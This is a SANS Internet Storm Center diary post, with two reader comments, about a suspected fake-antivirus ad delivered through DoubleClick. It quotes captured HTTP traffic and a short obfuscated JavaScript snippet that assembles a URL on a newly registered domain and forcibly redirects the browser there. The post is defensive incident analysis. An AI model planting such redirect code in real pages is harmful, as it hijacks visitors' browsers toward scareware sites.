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SANS ISC: Possible Fake-AV Ads from Doubleclick Servers - SANS Internet Storm Center SANS ISC InfoSec Forums

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Possible Fake-AV Ads from Doubleclick Servers

Reader James ran into a Fake AV ad delivered by Double click. It is not clear if this is the result of a compromise of double click, or a paid ad that slipped through doubleclick's content review process. James' started out at a local new paper web site, that like many others features ads served by double click. Luckily, James used a proxy tool (Fiddler) to record the session. Here are some of the excerpts (slightly anonymized and spaces inserted to avoid accidental clicks):

pos=2;sz=300x250;tile=8;!c=news;gender=;year=;income=;ord=230528779772346? HTTP/1.1
Accept: */*
Referer: [local newspaper URL]
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; [...]
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Cookie: id=xxxxa||t=1352150000|et=730|cs=yyyy

The reply to this request was:

HTTP/1.1 200 OK

Server: DCLK-AdSvr
Content-Type: application/x-javascript
Content-Length: 167
Date: Mon, 05 Nov 2012 22:32:59 GMT
document.write(' src=\"http://inc cam\">');document.write('');
This is typical "doubleclick". The add returns a reference to some javascript. At this point, this isn't quite suspicious yet. But let's see what we get back from "":
if we access the site with wget (but fake the user agent), we get back:
http://inc cam . This is a harmless image, advertising luxury watches (these days of course, a luxury watch ad suggests a link to spamming).
James on the other hand got the following content back (I wasn't able to reproduce this):
var url = 'http:'+'//fav'+'ozek.'+'info/'+''+'p?q=8'+'/CEg1'+'rjwdE'+'mPDwt'+'BLw6u'+'Sk36+'+'lyOya'+'TxYF9'+'UkLXx'+'A==' ;
if (window != top) { top.location.replace(url) } else { window.location.replace(url) }
The content starts very similar, but his copy included additional javascript, forwarding the user to 'fav' . The domain is somewhat new (October 12 2012) and registered with Right now, none of the domains is listed as malicious in virustotal. 
Still digging deeper into this, but right now, this looks at least suspicious. Let me know if you see similar issues with double click ads.

Johannes B. Ullrich, Ph.D.
SANS Technology Institute

I will be teaching next: Application Security: Securing Web Apps, APIs, and Microservices - SANS London June 2022


4479 Posts
ISC Handler
Nov 6th 2012
Not seen anything, but wanted to note that it's unlikely I would - I've been explicitly blocking *.doubleclick.* for over a decade, due to seeing subverted ads even back then.
Peter Bance

9 Posts
Not the first nor the last time this has happened. One usual trick is to submit reasonably valid ads, run them momentarily and then swap them out for the high ROI scareware. DoubleClick's seemingly all automated so no human ever attempts to vet garbage out of the system. AdBlock Plus for the win.
Peter Bance
57 Posts

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